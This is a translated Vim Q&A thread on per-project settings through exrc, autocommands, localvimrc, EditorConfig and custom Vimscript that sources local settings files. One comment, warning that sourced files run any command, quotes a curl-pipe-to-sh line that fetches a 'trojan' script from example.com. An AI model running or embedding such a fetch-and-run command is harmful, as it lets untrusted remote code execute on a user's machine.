Застосування параметрів лише до дерева каталогів


33

У моїй роботі ми використовуємо стандарт ts2; мої особисті переваги - це 4, що я використовую для своїх хобі-проектів, і цей інший проект, який ми успадкували, має домовленість ts=8.

Є також деякі інші налаштування, які я хочу встановити на основі проекту (наприклад, складання). На основі цих параметрів від типу файлу або автоматичного виявлення їх на основі того , що файл використовує це НЕ хороші варіанти, так як я хочу поважати конвенції кожного проекту.

Чи можу я змусити Vim використовувати файл налаштувань, який застосовується до проекту (все в дереві каталогів), не додаючи моделей до всіх файлів?


Відповіді:


19

Існує кілька легких способів зробити це.

  1. Перевірте файл із вказаним іменем та вкажіть його

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    Файл приховано в прикладі, але це необов'язково.

  2. Локальні .vimrcфайли (не такі, як плагін)

    set exrc
    

    Це схоже на 1., але файл буде називатися ".vimrc".

    Поширена пропозиція для супроводу цього - використовувати

    set secure
    

    що не дозволяє .vimrcфайлу робити потенційно небезпечні речі, такі як виконання команд оболонки. Ідея полягає в тому, що вам не хотілося б, щоб vim читав .vimrcфайл, написаний кимось іншим, що робить щось неприємне.

  3. Автокоманди, які перевіряють поточний шлях

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    Це варіант, який я використовую. Я не сильно змінююсь між різними проектами, тому YMMV, але якщо ви просто хочете зробити одну або дві речі на основі шляху і зберегти це у своєму, .vimrcце приємно і просто.


Зауважте, що параметри 1 і 2 мають те саме обмеження, яке описане в цьому коментарі : він не застосовується до реєструючих підкаталогів.

15

Для цього я використовую localvimrc .

Помістіть .lvimrcпараметри свого проекту всередині проекту, і ці налаштування замінять налаштування в .vimrc.

За замовчуванням вас запитають, чи ви хочете джерело цього файлу, наприклад:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

Це запобігає пошуку випадкових (ненадійних) файлів vimrc. Якщо вам це набридає, ви можете встановити білий список .lvimrcфайлів за допомогою g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

Або ви можете просто відключити запит на підтвердження повністю set g:localvimrc_ask = 0. Однак це не рекомендується.


5

Центральна конфігурація

Якщо добре налаштувати конкретні команди / локальні винятки централізовано, ви можете помістити такі autocmds у свій ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

Важливо використовувати :setlocalзамість :set, а також :map <buffer> ...і :command! -buffer ....

З іншого боку, якщо ви хочете, щоб певна конфігурація зберігалася в проекті (і ви не хочете вставляти це у всі файли за допомогою моделей ), у вас є наступні два варіанти:

Локальна конфігурація із вбудованою функціональністю

Якщо Ви завжди запускаєте Vim з кореневого каталогу проекту, вбудований

:set exrc

дозволяє читати .vimrcфайл із поточного каталогу. Ви можете розмістити :set ts=4 sw=4команди там.

Локальна конфігурація через плагін

В іншому випадку вам потрібна допомога плагіна; на vim.org їх декілька; Я можу порекомендувати плагін localrc , який навіть дозволяє конфігурацію локальних файлів.

Зауважте, що конфігурація читання з файлової системи має наслідки для безпеки; ви можете захотіти :set secure.


2
Зверніть увагу, що .exrcвони надзвичайно обмежені: поняття проекту зупиняється на поточному каталозі, тобто файли в підкаталогах не належать до проекту.
Люк Ермітт

4

Існує проект Editor Config, який дозволяє визначати конфігурації на рівні проекту, такі як налаштування табулетів, а також нові стилі рядків та інші речі. Існує багато підключень для всіляких редакторів, включаючи vim . Це також дозволяє визначити настройки для різних типів файлів.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

0

Я написав це і додав його до свого .vimrc, щоб дозволити розміщувати .vimsettings файли в проектах та підпроектах.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))

Хоча це працює, це може вважатися небезпечним, оскільки ви просто збираєте файл і виконуєте всі команди в ньому (включаючи команди оболонки, такі як system('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij

0

Я цього хотів, тому я просто реалізував це локально. Я не так переймаюся "виконанням випадкового коду", але це може працювати для простих потреб. За необхідності відрегулюйте назви файлів.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

Це local.vimrcнасправді символьне посилання на файл у моїй значній колекції файлів vimrc від компанії, які я можу зберігати в контролі джерела в іншому місці, що полегшує переміщення всієї конфігурації на інші машини або якщо я відвідую компанію на місці чи щось . Каскадні конфігурації можна використовувати, але на практиці мені ця функція не потрібна. Я також підключаюсь F8до відкриття знайденого файлу та мого "головного" .vimrcна новій вкладці ...

Всередині цих локальних конфігурацій, оскільки вони розбираються для кожного відкритого файлу, не забудьте встановити відображення та налаштування для буфера локального. Напр

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.